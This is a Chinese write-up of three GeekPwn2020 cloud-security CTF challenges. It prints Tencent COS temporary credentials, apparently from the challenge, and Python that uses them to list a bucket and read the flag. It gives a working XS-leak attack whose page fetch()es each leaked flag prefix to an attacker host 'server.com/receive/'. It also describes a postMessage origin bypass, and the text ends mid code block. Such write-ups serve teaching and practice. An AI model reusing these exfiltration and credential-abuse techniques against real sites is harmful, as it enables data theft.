GeekPwn2020 云安全挑战赛wp
GeekPwn2020 云安全挑战赛wp
去年没怎么打,今年的两道前端题做得挺有意思,虽然第一天看错了bot的意思导致自闭了一下午TAT。
cosplay
腾讯云的COS存储有关
var Bucket = '933kpwn-1253882285';
var Region = 'ap-shanghai';
var cos = new COS({
getAuthorization: function (options, callback) {
var url = '/GetTempKey?path=/upload';
var xhr = new XMLHttpRequest();
xhr.open('GET', url, true);
xhr.onload = function (e) {
try {
var data = JSON.parse(e.target.responseText);
var credentials = data.Credentials;
} catch (e) {
}
if (!data || !credentials) return console.error('credentials invalid');
callback({
TmpSecretId: credentials.TmpSecretId,
TmpSecretKey: credentials.TmpSecretKey,
XCosSecurityToken: credentials.Token,
ExpiredTime: data.ExpiredTime,
});
};
xhr.send();
}
});
访问URL http://110.80.136.34:20192/GetTempKey?path=/upload
可以得到密钥
{
"Credentials": {
"TmpSecretId": "AKIDhTn8GAvt65Adi0gyqveJMIL6MBJS5iXAh_N4c4EYGC5KiQfZjJPjKzLL2UmpxFiT",
"TmpSecretKey": "rgUxuM7fbFUJXdFEBUPKQNYrSpKaFWU9yq2NX4/aHmc=",
"Token": "WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8bc9b2db376affacce5722b4206eae44jXv9yiMPCjkD62SgENR1TKMSwQi-8YCBhrkawgd_HZQ2heTpuSmsQNxdK3cIcU7gmo1b7xXEV1uogypquGzpiWdSYxkhnPz3Un8v4nrncZVyQ_3OMAVF5crRSOG4M16h5w1VhbMU9Gygcjbn4qEYlVAlY3pqyQeTf-3x427SJ7b3-E9UY1apBVJifFBUm6N_WWJ4eCymWKl7uymNiUocz8JbmRdpUriuOIuNU20wobU1ucsJSB1CqUx2Q1H4rFAroxefWFTHB6t__SXYBoGpTRMsCD8GcxEqp3vGI_H_2xIrF3wqa3dndob66iLnm5APTKbAa-rpnSlsr8wdrx0yki8oD_d5PbntjVy1qVe98NE"
},
"ExpiredTime": 1594437923,
"Expiration": "2020-07-11T03:25:23Z",
"-": 1594434323,
"RequestId": "bd7ae702-6424-4b80-8a71-0cb61ade3451"
}
就利用腾讯 cos sdkv5版本,上面生成了各种key之后,先列目录
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging
logging.basicConfig(level=logging.INFO, stream=sys.stdout)
secret_id = 'AKIDP919RQ_mshdYIjld4ptsuM3PhJI85Teov5v6J3BhoqiDQj-Lmvmw1_bunL15K2-i' # 替换为用户的 secretId
secret_key = 'SH6JqdGFqUz3u0xzOFnUeAxt83ECpQoerXlXFcY1XWM=' # 替换为用户的 secretKey
token = 'WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8dd8d8429c3e2e6e17d23b0b5cb02af9jXv9yiMPCjkD62SgENR1TDCdS6M91MVRsfYgdsbV6jcmDnKpsqe7b6Qs5F3SkTZeMM2Fsi97aQCo7j_HeZ1YRxnWqojCOe1XTs0cf-bbvzyyLhf6F3N5HU-aDYd7oLdnnCAl1sHYAtKcDR7Bh-0lg93i7aTuCVROeMyEuRI7kT7HRu6rRqWsf2gIQhdVTRLvDrcCAF8736lQbosTdygNsEPbSSsLoxiHfYPGL1HhJpPPzqgKO2pUCFk4VUPC9hkY4dYnn0gtE1R_QI2KeOTDAdLucq7uUfYO65zjtIXZMq9hTQORLfO1K4Z4sakvUoJxNcuoeptq6Bdw7gV7DcG3tiDyQ6dRWMz85SgUWfwxZdU' # 替换为用户的 Region
region = 'ap-shanghai' # 使用临时密钥需要传入 Token,默认为空,可不填
scheme = 'http' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)
# 2. 获取客户端对象
client = CosS3Client(config)
response = client.list_objects(
Bucket='933kpwn-1253882285',
Prefix=''
)
print(response)

发现flag,读取就行了
from qcloud_cos import CosConfig
from qcloud_cos import CosS3Client
import sys
import logging
logging.basicConfig(level=logging.INFO, stream=sys.stdout)
secret_id = 'AKIDP919RQ_mshdYIjld4ptsuM3PhJI85Teov5v6J3BhoqiDQj-Lmvmw1_bunL15K2-i' # 替换为用户的 secretId
secret_key = 'SH6JqdGFqUz3u0xzOFnUeAxt83ECpQoerXlXFcY1XWM=' # 替换为用户的 secretKey
token = 'WaXT75Lg5BgE4R9VSrcbVNVhQ5H1BAMl8dd8d8429c3e2e6e17d23b0b5cb02af9jXv9yiMPCjkD62SgENR1TDCdS6M91MVRsfYgdsbV6jcmDnKpsqe7b6Qs5F3SkTZeMM2Fsi97aQCo7j_HeZ1YRxnWqojCOe1XTs0cf-bbvzyyLhf6F3N5HU-aDYd7oLdnnCAl1sHYAtKcDR7Bh-0lg93i7aTuCVROeMyEuRI7kT7HRu6rRqWsf2gIQhdVTRLvDrcCAF8736lQbosTdygNsEPbSSsLoxiHfYPGL1HhJpPPzqgKO2pUCFk4VUPC9hkY4dYnn0gtE1R_QI2KeOTDAdLucq7uUfYO65zjtIXZMq9hTQORLfO1K4Z4sakvUoJxNcuoeptq6Bdw7gV7DcG3tiDyQ6dRWMz85SgUWfwxZdU' # 替换为用户的 Region
region = 'ap-shanghai' # 使用临时密钥需要传入 Token,默认为空,可不填
scheme = 'http' # 指定使用 http/https 协议来访问 COS,默认为 https,可不填
config = CosConfig(Region=region, SecretId=secret_id, SecretKey=secret_key, Token=token, Scheme=scheme)
# 2. 获取客户端对象
client = CosS3Client(config)
response = client.get_object(
Bucket='933kpwn-1253882285',
Key='f1L9@/flag.txt',
)
response['Body'].get_stream_to_file('output.txt')
noxss
题目给出提示与xctf2019final的noxss和rctf2017的noxss有关。
下载源码,发现全站存在csp和iframe的限制,且仅允许指定host访问。
from flask import Flask, request, jsonify, Response
from os import getenv
app = Flask(__name__)
DATASET = {
114: '514',
810: '8931919',
2017: 'https://blog.cal1.cn/post/RCTF%202017%20rCDN%20%26%20noxss%20writeup',
2019: 'https://hackmd.io/IlzCicHXSN-MXl2JLCYr0g?view',
2020: getenv('NOXSS_FLAG')
}
@app.before_request
def check_host():
if request.host != getenv('NOXSS_HOST') or request.remote_addr != getenv('BOT_IP'):
return Response(status=403)
@app.route("/")
def index():
return app.send_static_file('index.html')
@app.route("/search")
def search_handler():
keyword = request.args.get('keyword')
if keyword is None:
return jsonify(DATASET)
else:
ret = {}
for i in DATASET:
if keyword in DATASET[i]:
ret[i] = DATASET[i]
return jsonify(ret), 200 if len(ret) else 404
@app.after_request
def add_security_headers(resp):
resp.headers['X-Frame-Options'] = 'sameorigin'
resp.headers['Content-Security-Policy'] = 'default-src \'self\'; frame-src https://www.youtube.com'
resp.headers['X-Content-Type-Options'] = 'nosniff'
resp.headers['Referrer-Policy'] = 'same-origin'
return resp
if __name__ == '__main__':
app.run(host='0.0.0.0', port=3000, )
虽然csp允许js但是没有xss的地方,也没有html注入的地方,无法进行css注入。
不过在主页存在一个uwu.js,当访问/?keyword=
时,如果keyword值存在于DATASET的某个值中的话,那么返回它,其中flag就在DATASET中,如果都不存在的话就会返回一个页面。
let u = new URL(location), p = u.searchParams, k = p.get('keyword') || ''
if ('' === k) history.replaceState('', '', '?keyword=')
axios.get(`/search?keyword=${encodeURIComponent(k)}`).then(resp => {
result.innerHTML = ''
for (i of Object.keys(resp.data)) {
let p = document.createElement('pre')
p.textContent = resp.data[i]
result.appendChild(p)
}
}, err => {
console.log(err)
result.innerHTML = '<marquee behavior="alternate"><h1>something is off</h1></marquee><marquee behavior="alternate"><h2>LITERALLY UNPLAYABLE</h2></marquee>'
result.innerHTML += '<iframe width="560" height="315" src="https://www.youtube.com/embed/lkDUObv5iIU" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>'
})
这个页面存在一个滚动的字和一个iframe引入了youtube的一个视频,如下。

现在的思路就类似css注入,一个字符一个字符猜测,通过访问?keyword=flag{
开始,不断地加载?keyword=flag{0
...直到...?keyword=flag{f
,通过识别返回的页面是否为上面的页面来确定猜测的flag值是否正确。
noframe && xsleak
现在的问题在于两点 1. 全站限制被iframe包含 2. 如何跨域判断加载的页面是否为上面的嵌入了youtube视频的页面
第一个问题,借用noframe css注入的方法,因为本题的bot是存在点击行为的,那么劫持点击行为我们就可以通过window.open
打开新窗口而不是使用iframe包含。

第二个问题,因为我们现在是用window.open
不断打开页面,我们需要跨域判断打开的这个页面是否为嵌入了youtube视频的页面。
这里利用这里侧信道的方法https://github.com/xsleaks/xsleaks/wiki/Browser-Side-Channels
我们可以通过win.frames.length
来计算打开的跨域页面的frame数,因为正常匹配正确flag是没有frame,错误的话存在一个嵌入了youtube视频frame,这样就可以很好的区分了。
最后就是代码实现,服务端
var express = require('express');
var app = express();
var path = require('path');
var token = "";
app.get('/receive/:token', function(req, res) {
t = req.params.token;
console.log(t)
if(t!="xxxx"){
token = t
}
console.log(token)
res.send('ok');
});
app.get('/return', function(req, res){
res.send(token);
});
app.get('/noframe.html', function(req, res){
res.sendFile(path.join(__dirname, 'noframe.html'));
})
var server = app.listen(8085, function() {
var host = server.address().address
var port = server.address().port
console.log("Example app listening at http://%s:%s", host, port)
})
前端页面noframe.html
<html>
<body onload="search('flag{', 0 );" onclick="search('flag{', 0 );">click somewhere to begin attack</body>
<script>
var chars = "abcdef0123456789-"
var vuln_url = 'http://noxss2020.cal1.cn:3000/?keyword=';
var server_receive_token_url = 'http://server.com/receive/';
var server_return_token_url = 'http://server.com/return';
function search(leak, charCounter) {
var curChar = chars[charCounter];
var win2 = window.open(vuln_url + leak + curChar, 'f');
win2.blur();
console.log("leak = " + leak + curChar);
setTimeout(function(){
if (win2.frames.length == 0) {
fetch(server_receive_token_url + leak + curChar);
leak += curChar
}
search(leak, (charCounter + 1) % chars.length);
}, 500)
}
</script>
</div>
</html>
最后拿到flag(题目一次只有30秒,得多跑几次把flag接上)

umsg
审计前端js代码,在index.61cbcce.js中发现如下代码。
var n = {
mounted: function () {
window.addEventListener('message', (function (e) {
if (e.origin.match('http://umsg.iffi.top')) switch (e.data.action) {
case 'append':
return void (document.getElementsByTagName('main') [0].innerHTML += e.data.payload);
case 'debug':
return void console.log(e.data.payload);
case 'ping':
return void e.source.postMessage('pong', '*')
}
}), !1), postMessage({
action: 'ping'
})
}
},
代码并不复杂,就是接收postMessage传过来的数据,然后正确的构造的话会把数据打印到页面上。 因为postMessage是允许iframe与主窗口跨域通信的,所以上面的条件可以很好地满足。
仅有一点就是
e.origin.match('http://umsg.iffi.top')
要求与它通信的页面的host必须存在上面的字符串,那么我就将我的umsg.iffi.top.szfszf.top解析到我的恶意页面上就好了。
最后payload就如上所说
```htmlmixed= <!DOCTYPE html>
